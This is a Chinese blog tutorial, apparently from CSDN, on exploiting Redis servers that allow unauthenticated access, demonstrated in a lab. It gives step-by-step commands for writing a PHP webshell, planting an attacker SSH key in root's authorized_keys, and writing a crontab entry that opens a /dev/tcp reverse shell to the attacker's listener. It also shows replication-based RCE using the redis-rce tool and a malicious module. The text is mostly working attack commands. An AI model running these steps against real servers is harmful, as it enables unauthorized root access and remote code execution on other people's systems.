redis未授权攻击方式

Redis 未授予攻击

Redis未授权漏洞常见的漏洞利用方式:

- Windows下,绝对路径写webshell 、写入启动项。
- Linux下,绝对路径写webshell 、公私钥认证获取root权限 、利用contrab计划任务反弹shell。

基于Redis主从复制的机制,可以通过FULLRESYNC将任意文件同步到从节点(slave),这就使得它可以轻易实现以上任何一种漏洞利用方式,而且存在着更多的可能性,等待被探索。
Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
 漏洞影响版本

Redis 2.x,3.x,4.x,5.x

一、漏洞环境搭建

靶机:CentOS7

IP:192.168.152.138

攻击机:Kali
IP:192.168.152.128
两个机子需要互通,建议配置虚拟机都为NAT。因为后续会用到git环境

1.1靶机下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.2.tar.gz

1.2 解压,进入源码目录,然后编译(make、make install)

tar -zxf redis-4.0.2.tar.gz   #解压
cd redis-4.0.2    #进入解压的文件夹内
make  
make install #编译

image-20241106234532022

编译完成后修改配置

默认redis需要设置管理员账号密码,开启了保护模式

关闭redis保护模式
1、进入redis安装目录(我的就在桌面)找到conf目录下的redis.conf文件
vi redis.conf 加#注释bind 127.0.0.1这一行
然后修改protected-mode 为protected-mode no

image-20241106234939742

image-20241106235008358

然后重启redis:
src/redis-server redis.conf
要注意以上操作的路径。

image-20241106235156862

1.2 攻击机安装redis服务

与上述操作一样

wget http://download.redis.io/releases/redis-4.0.2.tar.gz**

tar -xzf redis-4.0.2.tar.gz 

cd /redis-4.0.2 

make 

make install

1.2 连接靶机测试redis客户端是否安装完成:
进入到src目录:cd src
然后连接靶机:./redis-cli -h 192.168.152.138

kali连接,输入info查看版本信息,如遇报错请关闭centos防火墙

image-20241106235509401

二、漏洞复现

利用方式1:写入webshell

利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限

config set dir /var/www/html
config set dbfilename haha.php
set webshell "<?php phpinfo(); ?>"
save

image-20241106165119810

查看靶机

image-20241106165210065

成功写入

因为我的靶机没有搭建网站,所以就没办法连接测试了

利用方式2:ssh拿shell方法

原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
这是Redis未授权危害最大的攻击方式,大致的过程为:

1.客户端生成私钥和公钥,并把公钥拷贝给服务器端

2.客户端发起登陆请求,发送自己的相关信息

3.服务器端根据客户端发来的信息查找是否有该客户端的公钥,若没有拒绝登陆;若有则生成一段随机数,
使用该公钥加密后发给客户端

4.客户端收到服务器发来的加密信息后使用私钥解密,并把解密后的结果发给服务器用于验证

5.服务器收到客户端发来的解密结果,与刚刚自己生成的随机数对比,如果一致就允许登陆;不一致则拒绝登陆
写公钥的攻击步骤 

一、在kali终端通过ssh-keygen -t rsa生成密钥,接着找到生成的文件,复制里面的公钥后面有用

二、通过config命令写入文件中

  config set dir /etc/.ssh/

  config set dbfilename authorized_keys

 set x "\n复制的公钥\n"

 save 

三、最后登录就行了

 ssh -i id_rsa root@x.x.x.x

在kali上面生成一个ssh公钥 ssh-keygen -t rsa

默认回车

image-20241106160343268

  1. 将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

image-20241106160833451

  • 再把key.txt文件内容写入redis缓冲
  • …进入到redis-4.0.10/src目录下
  • cat /root/.ssh/key.txt |./redis-cli -h 192.168.224.130 -x set pub

image-20241106160315172

设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
分别输入一下命令:
 ./redis-cli -h 192.168.224.130 
 config set dir /root/.ssh
 config set dbfilename authorized_keys
 save

image-20241106160424268

如遇报错也就是,靶机上面没有生产ssh密钥,不存在文件,手动生成即可。

ssh-keygen -t rsa

image-20241106160208615

image-20241106161210291

正常输入命令

image-20241106161248780

查看靶机成功生成

image-20241106161347677

尝试连接 ssh 192.168.152.138

image-20241106161446660

利用方式3:在crontab里写定时任务,反弹shell

1.在kail上开启监听

nc -lvvp 7777

2.客户端(攻击机)使用redis-cli连接redis服务器,依次执行下列命令写入反弹shell。

set xxx "\n\n* * * * * /bin/bash -i >&/dev/tcp/x.x.x.x/7777 0>&1\n\n"  # ip改为攻击机的IP

config set dir /var/spool/cron

config set dbfilename root

save

image-20241106162416347

查看靶机中的定时计划,确认写入。为每分钟都执行一次反弹shell命令

image-20241106162146007

成功拿到靶机shell

image-20241106162204963

利用方式4:redis主从复制

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

需要下载工具RedisModules-ExecuteCommand

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

依次执行命令

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 

cd RedisModules-ExecuteCommand/ 

make # 生成module.so

image-20241106163219305

  • 回到redis目录昌达继续执行:
git clone https://github.com/Ridter/redis-rce.git

cd redis-rce/

cp ../RedisModules-ExecuteCommand/src/module.so ./

pip install -r requirements.txt #如果pip下载失败,使用pip3,相应的python也要改成python3

python3 redis-rce.py -r 192.168.224.128 -p 6379 -L 192.168.224.129 -f module.so     # python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

image-20241106163829540

参考:

Redis未授权访问及利用复现(保姆级教程)_主从复制漏洞影响版本-优快云博客

https://www.cnblogs.com/yuzly/p/11663822.html
https://www.suibibk.com/topic/715696034407251968
https://www.jianshu.com/p/57c7e29a37a4

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值